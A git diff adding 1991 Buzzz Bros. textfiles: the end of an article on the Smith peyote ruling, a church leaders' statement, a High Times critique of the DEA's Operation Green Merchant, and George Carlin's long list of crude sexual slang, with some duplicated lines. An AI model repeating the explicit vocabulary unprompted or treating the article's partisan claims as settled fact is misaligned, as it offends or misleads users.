opinion, may be at a disadvantage in the political arena. But that is, + in his estimation, "an unavoidable consequence of democratic + government," preferable to "a system in which each conscience is a law + unto itself." Justice Scalia had to strain to defend his decision, + citing the need to prevent "anarchy" in our democratic society. Indian + + people simply want to be left alone in our society to worship the god of + their choice. Is that asking too much? The Court's decision in "Smith" + strips Indians of their pride and integrity, and makes many of them + criminals in the eyes of the law. Only history will judge the Court's + decision in "Smith;" but for now the remote specter of anarchy may very + well have been the preferred choice. [end of article; more to come] + +[10] + The following article appeared in the Spring 1990 issue of "Native American + Rights Fund Legal Review", a publication of the Native American Rights Fund, + 1506 Broadway, Boulder, CO 80302, and is reprinted here w/permission. + +----------------------------------------------------------------------------- + + + Supreme Court Deals Devastating Blow to Native American Church + by Steve Moore + + + On Tuesday, April 17, 1990, the United States Supreme Court struck a + gut wrenching blow to the religious lives of many of this country's + Native Americans, in a decision which invites the return to an era of + religious persecution one would hope a presumably enlightened and + tolerant society such as ours had left behind. In the case of "Oregon + Department of Employment v. Alfred Smith," Justice Antonin Scalia, + writing for a five member majority, and describing the First Amendment's + Free Exercise Clause as little more than a "negative protection accorded + to religious belief," held that a member of a religious faith may not + challenge under the free exercise clause of the First Amendment to the + United States Constitution a legislature's criminal enactment of + otherwise general application which produces infringement on a + particular religious practice. In the "Smith" case this amounted to a + challenge to the constitutionality of an Oregon drug law which the Court + interpreted as a general criminal prohibition on all uses of the drug + peyote, considered by Indian members of the Native American Church as an + essential sacrament, the physical embodiment of the Great Spirit. + + The Native American Church, which claims over 250,000 members + nationwide, and additional Indian practitioners in Canada and Mexico, + and which can be traced back archaeologically several thousand years in + North America, was not absolutely destroyed or driven underground by the + Court's action. The Court did not go so far as to rule that any state + or federal law exempting the religious, sacramental use of peyote was an + unconstitutional establishment of religion, at the other end of the + religion clauses of the First Amendment. In the Court's terms, a peyote + exemption, while constitutionally *permitted*, is neither + constitutionally *required* or *prohibited*. A kind of constitutional + limbo-land for the Native American Church and its members. [more] + +[11] + In real terms the decision leaves the fate of the peyote religion to + the whim of majoritarian legislatures and Congress. Eleven states + currently have exemptions on the statute books protecting the religion; + another twelve tie their exemption to a federal Drug Enforcement Agency + regulation which rests on questionable foundation since the decision. A + small handful of states, notably California and Nebraska, in which are + located some of the largest Indian and Native American Church + populations, have based their protection on court decisions. The + others, and the federal government through Congress, have no statutory + or common law protection. Indian reservation lands will provide some + safe haven from possible prosecution, given the particular Public Law + 280 configuration in any given state, but problems of transportation of + the sacrament into Indian country through "illegal" territory will + reduce peyote ceremonies to complex and dangerous liaisons. + + Native American church members stripped of their rights under the + Constitution are now subject to the will of the legislative branch of + our state and federal governments. Not an enviable place for Indian + people; as a distinct racial and religious minority Indians have always + had an uphill struggle in the halls of Congress and elsewhere to have + their rights recognized and respected. + + The legislative branch of any government is an exceedingly unusual + place for individuals to look to have their rights under the First + Amendment vindicated. Courts are traditionally looked to as protectors + of these rights, against majoritarian legislatures. Justice O'Connor, + in a separate concurring opinion which joined the result of the majority + but sharply criticized its method, reasoned that "the First Amendment + was enacted precisely to protect those whose religious practices are not + shared by the majority and may be viewed with hostility." [more] + +[12] + A noted scholar of Indian law and philosopher, Felix Cohen, was quoted + several decades ago as saying: "Like the miner's canary, the Indian + marks the shifts from fresh air to poison gas in our political + atmosphere; and our treatment of Indians, even more than our treatment + of other minorities, reflects the rise and fall in our democratic faith + ...." Cohen's words become even more prophetic after the Court's + decision in "Smith." The "Smith" decision may perhaps portend even + greater persecution for other forms of Indian religious expression. + Examples which come to mind include: the wearing of long hair by Indian + students in public schools, and by Indian prisoners in federal and state + prisons; missing school on a regular basis for cultural/religious + ceremonial purposes; the taking of game by Indians out season, when not + otherwise protected by treaty; burning wood to heat rocks for sweat- + lodge ceremonies, when burning is otherwise outlawed by local ordinance + during times of high pollution; and body piercing as part of the Sun + Dance ceremony. If these forms of religious expression are otherwise + prohibited by general criminal laws, the First Amendment no longer + provides a basis from which to claim protection from religious + infringement. As with peyote use, reservation boundaries will provide a + buffer from the application of state law, except where Public Law 280 + legitimizes intrusion. + + As a result of "Smith," minority religions, in Justice Scalia's + opinion, may be at a disadvantage in the political arena. But that is, + in his estimation, "an unavoidable consequence of democratic + government," preferable to "a system in which each conscience is a law + unto itself." Justice Scalia had to strain to defend his decision, + citing the need to prevent "anarchy" in our democratic society. Indian + people simply want to be left alone in our society to worship the god of + their choice. Is that asking too much? The Court's decision in "Smith" + strips Indians of their pride and integrity, and makes many of them + criminals in the eyes of the law. Only history will judge the Court's + decision in "Smith;" but for now the remote specter of anarchy may very + well have been the preferred choice. [end of article; more to come] + +[13 of 13] +STATEMENT FROM PACIFIC NORTHWEST CHURCH LEADERS WHO SUPPORT INDIAN RELIGIOUS +RIGHTS Re: Employment Division, State of Oregon v. Al Smith, Galen Black, +88-1213 + + The recent U.S. Supreme Court decision regarding the sacramental use of +peyote in Native American religious rites is unfortunate and deeply +disappointing. We support the right of Native Americans to practice their +religion as they have for centuries. We concur with Justice Harry Blackmun, +who writing for the dissent, called the decision a "wholesale overturning of +settled law concerning the religious clauses of our Constitution." The +decision jeopardizes the fundamental right of all citizens to exercise +freedom of religion free from government restraint. We will continue to +work with Native Americans to help them protect their religious rights. + +The Most Rev. Raymond G. Huthausen Archbishop of Seattle Roman Catholic +Archdiocese of Seattle +The Right Rev. Vincent W. Warner, Bishop Episcopal Diocese of Olympia + +The Most Rev. Thomas Murphy, Coadjutor Archbishop Roman Catholic Archdiocese +of Seattle + +The Rev. John Boonstra, Executive Minister Washington Association of +Churches + +The Rev. Calvin D. McConnell, Bishop United Methodist Church Pacific NW +Conference + +The Rev. W. James Halfaker, Conference Minister Washington-Idaho Conference +United Church of Christ + +The Rev. Lowell Knutson, Bishop NW Washington Synod Evangelical Lutheran +Church In America + +The Rev. Dr. William B. Cate, President Director Church Council of Greater +Seattle + +The Rev. Gaylord Hasselblad, Executive Minister + +American Baptist Churches of the Northwest + +These church leaders issued an apology to Indians that was carried in the +Winter 1988 NARF Legal Review + + + ----------> Buzzz Bros. <---------- + End of File + + + + + + diff --git a/textfiles.com/groups/BUZZ/bbrosn11.txt b/textfiles.com/groups/BUZZ/bbrosn11.txt new file mode 100644 index 00000000..df76257e --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbrosn11.txt @@ -0,0 +1,325 @@ + *=-- --=* + { the } + -=*/> Buzzz Bros. <\*=- + + present + --------- + High-Witness News + May '91 No.189 + + Green Merchant: The First 18 Months + + by Peter Gorman + + Transcription By Havoc + + Originally appearing in HIGH TIMES, May 1991 + { } + *=-- --=* + + + When Operation Green Merchant first broke 18 months ago, no one was +sure of where it was going or what the extent of it would be. Now we know that +its ostensible aim was to shut down this country's burgeoning indoor +marijuana-cultivation industry; that during its execution the government +decimated several of the freedoms guaranteed by the Constitution; that one +magazine was put out of business and another thrown into financial straits; +that several garden-supply stores and businesses were seized by the government +without their owners being charged with criminal activity; and that more than +100,000 American citizens -- whose only connection with the operation was the +purchase of gardening equipment -- came under federal investigation. + + Green Merchant was designed to link the sources of information +regarding indoor marijuana cultivation -- HIGH TIMES and 'Sinsemilla Tips -- +with indoor growers in a criminal conspiracy. The connection of the two was +thought to be that the gardening centers advertised in both magazines. + + The logistics of the operation were these: during a two-year period +beginning in late '87, the DEA sent agents to 81 stores and mail-order houses +specializing in indoor-gardening supplies, asking for information regarding the +growing of marijuana. While most of the store owners refused to have anything +to do with the agents once they made their blatently illegal requests, a +handful responded positively , and a few of those apparently even provided +seeds to the undercover agents. + + Those few positive responses provided the DEA with the legal leverage +it needed to subpeona UPS shipping records from a number of those stores. An +investigation of a portion of the names provided by those records turned up a +number of illegal indoor-marijuana growers. + + For the DEA, the link had been made: They now had proof that some of +the consumers who purchased indoor-gardening supplies from the stores and +mail-order houses which advertised in HIGH TIMES and 'Sinsemilla Tips' were +indeed using gardening equiptment to illegally produce marijuana. The stage +was set for the Operation to go public. + + + -=*/> Main Objectives <\*=- + + The government succeeded in shutting down 'Sinsemilla Tips'. Tom +Alexander, whose Full Moon garden-supply store was seized during the early +stages of Green Merchant -- without him being charged of anything -- was unable +to continue publishing after all his advertisers either went out of business or +were threatened with charges if they continued advertising with him. + + HIGH TIMES continues to publish despite the loss of revenue from those +same advertisers. But once it became apparent that HT would not fold, and in +fact sales were increasing, a federal investigation was launched in New Orleans +which attempted to make HT a co-conspirator with both the Seed Bank and the +indoor growers. That investigation was dropped some months ago when the +government failed to get an indictment. + + On June 24, 1990, Nevil Schoenmakers, who legally operated the Seed +Bank (another HIGH TIMES advertiser) in Holland, was arrested by the Australian +authorities at the behest of the US government while visiting family in Perth. +A 44-count indictment was lodged in New Orleans, charging him with the sale of +marijuana seeds to undercover agents and indoor growers in the New Orleans area +in 1989. He has been detained awaiting the results of an extradition hearing +-- while not charged with anything -- in Australia since June. + + + -=*/> Incidental Casualties <\*=- + + George Warren owned six Northern Lights garden centers in New York, +Ohio and Pennsylvania. On October 24, 1989, he was visited in his flagship +store by a man who asked about purchasing lights and hydroponic systems. +During the course of the conversation the man, who turned out to be a DEA +agent, inquired about acquiring marijuana seeds. Warren told the man he wasn't +in that business; the man persisted, and Warren told him there were probably +magazines he could look into for that kind of information, then excused himself +to answer a phone call in his office. The man followed him into the office and +passed him a note asking for 200 seeds. Warren asked the man to leave the +store. + + The following day, the agent returned and made a small purchase, again +sought seeds and was again informed that he couldn't get them there. + + The next day, nine DEA, Alcohol Tobacco & Firearms and local-authority +agents arrived at Warren's main store armed with a warrant for business +records, grow lights, hydroponic systems and other inventory that might be used +to grow marijuana. That same day, the process was repeated at each of Warren's +stores; by evening he'd lost inventory valued at nearly $200,000. Warren +himself, however, has never been arrested in connection with the seizures, and +continues to fight for the return of his inventory. + + Reached recently at home, Warren was furious. "My feeling is that if +I've done anything wrong, arrest me. If not, give me back my merchandise. +There's nothing illegal about lights. What are they going to do with them +anyway?" + + "Sell them at auction," he was told. + + "Wait a minute," he replied. "You mean they confiscate my merchandise +because they think someone will grow pot with it, and then they sell it to +someone else?" + + "That's how it works." + + + The owner of a large West Coast mail-order gardening-supply center +tells a similar story. On October 26, 1989, the DEA and state police arrived +at his warehouse with warrants for business records and computers. They +padlocked the warehouse and began forfeiture proceedings for the nearly $1 +million worth of inventory, the warehouse itself and the property it was +located on. + + The owner, who asked to remain anonymous, was also never arrested. Ten +months later, the prosecuter in the forfeiture case gave the owner's lawyer a +list of 20 misdemeanors, which he said he would prosecute if the man continued +to fight the forfeit. The choice was simple: Fight and lose thousands of +dollars in legal fees -- as well as risk one year in jail for each count he +might be convicted on -- or give up the fight and walk away. His lawyer +advised him to walk away, suggesting that of 20 counts it wasn't unlikely that +he could lose at least one of them, and conviction on even a single count would +mean losing the forfeiture case anyway. The man took his lawyer's advise and +walked. + + While not all prosecutors are willing to go to such lengths to seize +property, the federal and civil laws regarding forfeiture certainly make it +appealing for them to do so in cases where the forfeited items are of value. +In federal cases, the agencies involved receive 75 percent of the monies +eventually generated through the auction of forfeited goods; the remaining 25 +percent is divided between the prosecutor's office and any local agencies +involved in the seizure. Civil forfeiture cases divide ALL the monies between +the prosecutor's office and the local authorities involved. + + Dan Viets, a defense attorney who has won a number of Green Merchant +cases, says that while "the idea of forfeiture is not new, the idea of giving +the money to the police and prosecutors is. Forfeiture is an abuse. A lot of +people don't really understand that it's going on." + + Forfeiture doesn't just affect businesses. One of Viets' clients, a +former law-enforcement officer, stands to lose his whole farm because 37 +marijuana plants were found growing on it. Another of his cases involved a +couple found with four pot plants, who have had their 11 acre farm forfeited as +a result. Viets is optimistic about both cases. + + "A lot of people don't fight forfeiture because they don't think they +can win," he says. "But even though the burden of proof is not very high of +the state's part, they still have to prove that the forfeited items were at +least probably derived from the monies generated by illegal activity. And +that's not always easy." + + The horror of the prosecution of Green Merchant case's wasn't limited +to forfeiture: One couple had their parental rights terminated for growing pot +at home; several school teachers and at least one nurse lost their state +licenses; others simply got caught up in the legal system, and found that +trying to extricate themselves nearly ruined them. + + Tom and Sara Williams were visited because their names were on the one +of the confiscated store mailing-lists. When the DEA arrived they tore the +Williams' house apart, eventually finding seven plants. Though their case was +later reduced from felony possesion of an illegal substance to a guilty plea on +one misdemeanor, paraphernalia-possession (the warrant was faulty), the +Williamses hadto spend nearly $7,000 in bonds and legal fees. + + The list goes on. There are hundreds of horror stories which came out +-- and are still coming out -- of Green Merchant: People whose lives were +disrupted or destroyed by the government in an attempt to shut down two +magazines and a seed house. + + + -=*/> Repercussions <\*=- + + While the obvious targets of the Operation were HIGH TIMES, 'Sinsemilla +Tips' the Seed Bank, store owners, small-time growers and the thousands of +people who were investigated, the real victim of Green Merchant has been the +Bill of Rights. + + The right of free speech is a cornerstone of our republic. History is +full of people that spoke out advocating illegal positions in an effort to +change the laws governing them -- from Thoreau's 'Civil Disobediance' to 'The +Abolition Papers', from Freedom Marches to abortion rights. What 'Sinsemilla +Tips' did, and what HIGH TIMES does -- advocate the legalization of marijuana +-- is no different than what others have done throughout American history. The +right to print what we choose to print is supposed to be inviolate. + + The right to privacy is supposed to be protected as well. Yet the +investigation of thousands of people -- based solely on their having purchased +legal equipment from legal businesses which just happened to advertise, amoung +other places, in pro-marijuana magazines -- has been continually defended by +the Justice Department as necessary to their effort in the War on Drugs, +despite its obvious constitutional infringment. + + The rights to privacy were further comprimised by the thousands of +warrantless searches made in that investigation. While many people allowed +those consent searches to be performed, others were intimidated into them. To +date, dozens of government cases have been dropped as a result of those +unlawful entries. + + Perhaps the rights most abused in the execution of Operation Green +Merchant involve personal property and the right to be innocent until proven +guilty. The use of forfeiture during the government's prosecution of the +Operation has absolutely shredded these basic rights. That store owners could +have their businesses seized by federal agents, without there being enough +evidence to charge those owners with any criminal activity whatsoever; is a +terrifying concept; that people found to be growing marijuana in the privacy of +their homes could have those homes seized by government agents before they were +ever brought to trial is unconscionable. And yet this was one of the recurring +themes of Green Merchant: confiscate property; threaten charges which would +bankrupt the defendant to defend; and then make an offer to withdraw the +charges if they agree not to fight the forfeiture. + + + -=*/> Net Results <\*=- + + The government not only denies ever trying to put either HIGH TIMES or +'Sinsemilla Tips' out of business by gutting their advertising, it has defended +the actions of the federal, state and local authorities in every phase of Green +Merchant as integral to the success of the War on Drugs. Terrance W. Burke, +the Acting Deputy Administrator of the DEA, suggests that "there is no such +thing as a casual or innocent drug user of illegal substances. Users are a +major factor in the drug-trafficking problem, and they are going to be held +accountable." + + Steve Hager, HT's Editor-in-Chief finds fault with that argument. "The +whole reason we told people to grow their own pot was to get rid of the +criminal element. We said, if you want this -- to eat it, to smoke it, +whatever -- that's your God-given right, and we'll tell you how to grow it. +Don't give your money to the narcotic traffickers. Don't support the criminal +drug trade." + + Marijuana is illegal today not because it's unsafe to drive while high, +or because some religious and temperance groups think it's the devil's weed; +it's still illegal only because the big boys haven't yet seen their way clear +to corner the market once it does become legal. But you can bet they are +working on that; both marijuana for smoking and hemp for its thousands of +commercial uses -- from plastics to pulp, paper to pesticides, from food to +fuel, fiber to pharmaceuticals -- are just too valuable to be kept of the +market forever. It's just a question of working out the details -- amoung +which is ridding the marketplace of as many independant growers and as much +information as possible. That part of the plan went into effect on Black +Thursday -- October 26, 1989. + + In the final analysis, Operation Green Merchant has done nothing but +ruin the lives of thousands, destroy the Bill of Rights, obfuscate the +potential commercial and medical uses of hemp/marijuana by continuing to +demonize it, raise the price of pot and invite the criminals to take charge of +its production. + + Way to go boys. + + + -=*/> The Numbers <\*=- + + During a two-week period beginning on October 26, 1989, the DEA raided +gardening centers and private homes in 46 states. The results of that first +phase of Green Merchant -- released on November 9, 1989 -- were: + + o 377 arrests of private citizens for marijuana cultivation; + + o 42,677 marijuana plants seized (the Justice Department counts + unsprouted seeds in soil as marijuana plants); + + o 875 pounds of packaged marijuana seized; + + o 2.5 pounds of methamphetamine seized; + + o 5 pounds of mushrooms seized; + + o 280 indoor grow-sites seized; + + o 19 stores and warehouses seized; + + o 11 store owners arrested (8 store owners had their businesses + seized without being charged of any criminal activity); + + o $7,318,000 in total assets seized. + + + -------------- + + o 19 stores closed down: 7 stores forfeited, 11 currently under + forfeiture litigation, 1 store no explantion; + + o 16 store owners arrested; + + o $9,208,928 in total assets seized. + + (No new statistics on either quantities of packaged marijuana or + other illegal substances seized.) + + + The Operation was far from over. During the past 18 months the DEA +has continued its Green Merchant investigations. The most recent figures -- +released by the Justice Department on February 1, 1991 -- are: + + o 443 arrests of private citizens for marijuana cultivation; + + o 50,794 marijuana plants seized (including unsprouted seeds in soil); + + o 358 indoor grow-sites seized; + + + Of all the arrests made in Green Merchant thus far, only two people had +illegal substances other than marijuana in their homes; one man with 2.5 pounds +of methamphetamine, and another with 5 pounds of mushrooms. Indeed indoor +pot-growers don't appear to be supporting the criminal drug trade. + +___________________________ + + -=*/> Buzzz Bros. <\*=- + (c) MCMXCI +___________________________ + + diff --git a/textfiles.com/groups/BUZZ/bbrosn13.txt b/textfiles.com/groups/BUZZ/bbrosn13.txt new file mode 100644 index 00000000..eb73c0a7 --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbrosn13.txt @@ -0,0 +1,844 @@ + *=-- --=* + { George Carlin: nonconformist, liberal, open-minded, and by far } + funnier than any other comedian-come-lately. His latest effort + { has been transcribed for your carnal [dis]pleasure. Enjoy! } + *=-- --=* + + + *=-- --=* + { the } + -=*/> Buzzz Bros. <\*=- + + present + _____________ + + AN INCOMPLETE LIST OF IMPOLITE WORDS: + 2,443 FILTHY WORDS AND PHRASES + + Part I + + Compiled By George Carlin + ______________ + + Text Entry by Havoc + { } + *=-- --=* + + + Note + ------ + + During the nearly twenty years since the "Seven Words You Can Never Say On +Television" first appeared on the Class Clown album, and especially since the +time (1982) when the idea was expanded to include impolite expressions of all +types, TV-banned or otherwise, hundreds of people have sent me suggestions on +words and phrases which they thought ought to be included on the list. Some +sent single items, while others submitted long lists they had obviously taken +some trouble to compile. I wish now I had kept a record of their names. Not +knowing I would one day attempt this project, my practice at the time was to add +the submitted entries to my "filth" folder, send the person a few autographed +items (albums, pictures, videos, shirts) in appreciation, and discard the +original letters. I wish I had handled it differently so that I could give them +credit here. But, of course, the real credit belongs to the thousands of people +over the centuries who invented these phrases in the first place, folk poets, +all. To those who sent me their suggestions, you know who you are, and I thank +you from the bottom of my farting clapper. + + George Carlin + + + + Male Genitals + --------------- + + aaron's rod arm + baby-maker beef + blue vein meatroll bald-headed butler + bald-headed mouse belly buster + bathtub eel bearded blood sausage + bird bone + baloney banana + bat bayonet + bean tosser beef + belly ruffian blade + broomstick bum tickler + bush beater button-hole worker + cock candle + carrot club + crack haunter cranny hunter + cracksman creamstick + culty gun carnal stump + chicken child-getter + chink-stopper corey + crook dick + dork dong + doniker dingus + dipstick dagger + dart of love dearest member + dickey ding-dong + dinger dingle-dangle + dummy dodaddy + dolly dooflicker + down-leg dragon + eel end + family organ fiddle bow + fish fishing rod + flapper fool-sticker + forefinger fucker + foreman gun + gut wrench giggle stick + gadget gardener + giggling pin gooser + gravy maker grinding tool + gristle gut stick + hair splitter hambone + hammer hanging johnny + hoe handle holy poker + horn hose + hot rod heat-seeking moisture missle + hairy hot dog jack in the box + jemson jerking iron + jigger jing hang + jockam johnnie + johhny one-eye the bald-headed champ + johnson joint + joy knob joy prong + joy stick key + kidney cracker kielbasa + king member knob + knocker ladies' delight + ladies' lollipop ladies' treasure + lamp of life lance + life preserver little brother + little willie liver turner + live sausage lizard + lob lobcock + lobster lollypop + long john love dart + love gun love missile + lucy lung disturber + mad mick magic wand + man-root marrow bone + master john thursday master of ceremonies + meat meat hook + meat whistle member + merry maker middle leg + milkman mister goodwrench + mister tom mouse + muscle mutton dagger + my body's captain natural scythe + needle nimrod + nippy noodle + noony old blind rob + one-eyed night crawler in the turtle neck sweater + one-eyed milkman one-eyed trouser trout + one-eyed wonder worm pant muscle + pecker pee-pee + pen pencil + pendulum perch + peter piccolo + pike staff pile driver + pin pink pencil + pipe pisser + pistol plugtail + pocket piccolo pocket rocket + pointer poker + pole pork + pork sword post + prick pride and joy + prong pud + pudding pump handle + purple-helmeted warrior of love + pup putz + quickening peg quimstake + ram ramrod + rawmeat reamer + redcap rod + rod of love rolling pin + root rudder + rupert russell the wonder muscle + st. peter salami + sausage sceptre + schlong sexing piece + shaft shmock + short arm shove devil + shvontz silent flute + skin flute snake + spigot spike-faggot + spindle split-rump + spout staff + steaming hot kanga stem + stick sting + stump sugar stick + sword tail pin + tally-whacker tassel + tent-peg thing + third leg thistler + throbber throbbing python of love + tickle-gizzard tickler + tong tool + torch of cupid toy + trap-stick trouser anaconda + tube steak uncle dick + vomiting cobra wand + wang wazoo + weapon wedge + wheenie wacker + whip whistle + whore-pipe wick + willie winkle + wire worm + yang yard + yosh zubrick + + + Well-Endowed (male) + -------------------- + + Basket for days donkey-rigged + double-shung hung like a bull + miracle meat timbered + tons of basket tons of meat + well-favored by nature well hung + yard + + + Semen + ------- + + baby food baby juice + bull gravy buttermilk + chism come + cream crud + cum duck butter + fetch glue + gravy hockey + honey hot milk + jam jazz + jelly jism + jizz juice + letch water load + love liquor man oil + marrow mettle + milk oil of man + ointment oyster + prick juice pudding + scum seed + slime soap + spendings sperm + spew spratz + spume spunk + starch stuff + tail juice tail water + tallow wad + white blow white honey + + + Semen Related + --------------- + + pearl necklace pecker tracks + wet dream + + + Ejaculate + ----------- + + big bang bust your nuts + come come off + cream cum + die in a woman's lap drop your load + fire a shot get off + get the dirty water off your chest + get wet get your cookies + get your jollies get your rocks off + go off number three + pop a nut shoot + shoot off shoot your wad + spend squirt + + + Testicals + ----------- + + ballocks balls + bangers beecham's pills + bird's eggs boo-boos + charlies cherries + chestnuts clangers + cojones cubes + danglers eggs + family jewels glands + goolies jewels + kanakas love apples + marbles marshmallows + nards nuts + onions plums + pounders rocks + seeds slashers + spunk holders squirrel + food stones + swingers + + + Scrotum + --------- + + ball bag hairy bag + poke sack + + + Crab Lice + ----------- + + active citizens crabs + crotch crickets gentlemen's companions + neighbors to the south pants rabbits + seam squirrels + + + Syphllis + ---------- + + coachman on the box french gout + irish mutton ladies' fever + lifelong friend neapoliton bone ache + old joe siff + spanish needle the old dog + + + Gonorrhea + ----------- + + buner clap + dose gleet + glim haircut + lues lulu + morning drop piss pins and needles + piss pure cream stank cock + strain tear + + + Female Genitals + ----------------- + + ace of spades adam's cave + altar of love bearded clam + beaver belly entrance + black bess bluebeard's closet + box brown madam + bull's eye bunny + bush button hole + cabbage patch canal + candle holder cat's meat + cave of harmony cavern + cellar door chocha + cleft clutch + cockpit cookie + coot cooch + cooze coupler + crack cranny + crease crevice + crotch crumpet + cunny cunny + cunt dimple + divine scar donut + drain eel-skinner + fish tank fort bushy + front window fur + furbox furburger + furrow gap + gaper gash + gate of heaven ginch + ginny girl-street + goat-milker gravy-maker + gully-hole hair + haircourt hair pie + happy valley harbour of hope + hatch hog eye + hole honey-hive + honey-pot horse collar + hot box hot spot + house under the hill irish fortune + itching jenny jack nasty-face + jaxy jelly-role + juice box keyhole + lady jane lamp of love + lapland lather-maker + little mary locker + long-eye love tunnel + lower lips magpie's nest + main vein manhole + mark of the beast meat + meat grinder mom's homemade slit pie + mound mount pleasant + mouse mouth-that-cannot-bite + muff naf + nature's tufted treasure nest + niche nook + nooky notch + oat-bin old mossyface + organ grinder oven + oyster catcher patch + pelt penwiper + pie piece + pin cushion pipe cleaner + piss flaps pit + playpen pocker + poke hole poontang + poor man's blessing prick purse + pussy quiff + quim quiver + rose screw-hole + slash slit + slot snapper + snappin' pussy snatch + snatch-box stank + steam room stuff + socket sportsman's gap + sugar basin tail + temple of low men tool-chest + toy shop treasure chest + trench triangle + trim tube + tuna taca tunnel + tunnel of love twat + tweeze twitcher + vag valley + venus highway vertical smile + wet cave of lust wooly-burger + works yawnie + yum-yum + + + Female Genitals (related) + --------------------------- + + boy-in-the-boa Female Genitals (related) + --------------------------- + + boy-in-the-boa Female Genitals (related) + --------------------------- + + boy-in-the-boa Female Genitals (related) + --------------------------- + + boy-in-the-boat bush + button cherry + clamp clit + clitty cleopatra + lady's low toupee lather + letch-water love juice + man-in-the-canoe merkin + mugget pussy fart + vaginal blood fart + + + Breasts + --------- + + apples balcony + balloons bangers + bazongas bean bags + big brown eyes bon-bons + boobies boobs + bottles boulders + bullets busters + bumpers butterbags + cantelopes gazongas + glands globes + grapefruits guavas + handful hand-warmers + headers headlights + hills honkers + hooters howitizers + jaboos jibs + jugs jumbos + kazongas knobs + knockers lactoids + loaves loblollies + love bubbles love muffins + lulus lungs + mammets mams + mangoes meatballs + meat loaves melons + milk cans milkshop + mounds mount of lillies + mountains muffins + mulligans murphies + nancies nature's fonts + niblets ninnies + nippers nodules + noogies nubbies + nuts oranges + orbs ottomans + pair nuts oranges + orbs ottomans + pair palookas + papayas paps + peaches peaks + pears pects + peepers pillows + pips pokers + pontoons potatoes + pumpkins pumps + rib cushions roundies + sandbags scones + scoops set + shakers shimmies + skin sacks snuggle pups + spheres spuds + stacks stuffing + sweater meat sweet rools + swingers tamales + tetons tidbits + tits titters + titties tomatoes + tooters torpedoes + twangers twin peaks + twofers umlauts + upper deck waldos + warheads warts + watermelons whoppers + wobblers wongas + yabbos yams + zeppelins + + + Menstruation + -------------- + + aunt flo aunt rosie is in town + all's not quiet on the waterfront + blood week collywobbles + curse of eve drip + entertain the general fall off the roof + flying the flag having the painters in + high tide holy week + jinx little sister is here + monthlies my buddy + my friend on the bun + on the pole on the rag + period problem + ragging ragtime + red flag red sails in the sunset + riding the cotton bicycle riding the cotton pony + road up for repairs sick + stop sign tail flowers + that time that way + the captain is at home the curse + the foe the hammock is swinging + the plague the thing + the visitor turns + wearing the bulky roll woman's home companion + + + Sanitary Napkin + ----------------- + + bandage clout + cuntrag fanny rag + flag granny rag + manhole cover mouth mattress + muck rag pleasure garden padlock + rag red flag + window blinds + + + Pregnant + ---------- + + about-to-find-pups apron up + baby-bound bagged + belly up big with child + broken-kneed clucky + cocked-up coming fresh + delicate condition double-ribbed + fragrant full of heir + gone to seed have a dumpling + have one in the oven have one's cargo aboard + in a family way in pod + in the pudding club in trouble + knocked up loaded + looking piggy on the bones + P.G. pillowed + preggers preggy + shot in the giblets storked + stung by a serpent swallowed a watermelon seed + up and coming up the stick + wedged up with squirrel + + + Fornication + ------------- + + a bit of jam action + ball ballock + boloney ride bananas and cream + bang basket making + batter beef + beef injection be in a woman's beef + belly ride belt + blanket drill blow off the loose corns + board boff + bone bore + bottle bounce + bump bump fur + bunny stick burry one's wick + bury the bone bush patrol + buzz the brillo cane + change one's luck charge + chuck a tread climb + cock up come across + couple with cover + crack it cram + crawl cream + cut dance the mattress jig + daub of the brush dick + dicky dunk diddle + dig your stinger in the honey dip your stick + dip your wick dirty work at the crossroads + do do a dive in the dark + do a flop do a push + do a slide up the board dog + do it do the deed + do the nasty ease nature + exchange spit feather-bed jig + feed the dummy fiddle + firk fit end to end + fix her plumbing flesh session + flop flop in the hay + four-legged frolic frig + fuck fun and games + get a bit get a chunk + get a crumpet get a hunk + get a little get a piece + get a snipper get a wet one + get home get in + get into her pants get into some serious flesh + get it on get jack in the orchard + get laid get lucky + get one's ashes hauled get one's greens + get one's leather stretched get one's noodle wet + get one's oil changed get some + get some action get some ass + get some crack get some hair + get some hole get some pussy + get some stuff get some tail + get some tweeze get your bean waxed + get your pole varnished give her a stab + go all the way go like a belt-fed motor + go to bed with go to it + go to town go vaulting + grease the wheel grind + grind on'e tool hanky-panky + have have a bit + have a bit of giblet pie have a bit of summer cabbage + have a blow through have sex with + hide the ferret hide the salami + hit on the tail hock + hop on horizontal refreshment + hose hot roll with cream + hump impale + introduce charlie invade + irish whist jazz + jink job + join paunches jounce + joy ride jug + juke jump + jump on one's bones knock + knock off a piece know + ladies' tailoring lay + lay off with lay some pipe + lay the hip lay some leg + leap leap on + lie lie with + lob in love + make make feet for childrens shoes + make it make love + make out with make the scene + making babies makin' whoopie + mate mess around + mingle limbs mix one's peanut butter + mount mugg + muss nail + mail two bellies together nick + nib nig + nub nut + oblige off + park your yacht in the hair harbor + peel one's best end peg + perform pestle + piece piece of ass + piece of pussy piece of snatch + piece of tail pile + pile-driving pin + plant the oats play at all fours + play hide the bone plow + pluck plug + pocket the red poke + pole pole work + polish your rocket pop + pork post a letter + pound pump + punch push + put the boots to put the tool in the shed + quimsticking ram + ride rip off + rites of venus roasting the broomstick + roll roll in the hay + rock rod + roger romp + root rootle + roust rub bacons + rub up rumble + rumple rutting + salt saw off a chunk + score screw + scutz around secret services + service shack up + crew + scutz around secret services + service shack up + shaft shag + shake shake the sheets + shoot between wind and water shoot one's wad + short arm practice shove + shtup sink the sausage + sink the soldier slam + sleep with slip her a length + slip into split + spoil suattin' on the hog + squat jumps in the cucumber patch + squeeze and a squirt stab + stable my naggie strop one's beak + strum stuff + swing tail-work + take a turn in the stubble take a turn on shooter's hill + tear off a piece tear the sheets + the disappearing cane trick the matrimonial polka + thread thread the needle + throw a hump throw a leg over + throw a shot thump + tie the true lover's knot tiff + tip the long one to be intimate + tooling in the woods tops and bottoms + trim trim the buff + trip up the rhine tumble + tumple turn up + twiddle varnish one's cane + vault vitamin F + wap wham + what mother did before me wind the clock + womanize work + work out work the dumb oracle + work the hairy oracle yard + yentz + + + Sexual Arousal (both sexes) + ----------------------------- + + blotty brimming + bulging cockish + dripping for it feeling hairy + frisky fuckish + gamy hairy + horny hot + hot-assed hot and bothered + hot nuts hot pants + humpy in the mood + in season itchy pants + juiced up juicy + lathered moist + motor running on for one's greens + oncoming pruning + ramish randy + ready rooty + ruttish sexed up + tumbling ripe turned on + up wet + + + Sexually Fixated + ------------------ + + cock-happy cunny haunted + cunt-struck + + + Testaglia + ----------- + + blue balls hot rocks + love nuts lover's nuts + stone ache + + + Condom + -------- + + balloon cheater + close combat sock 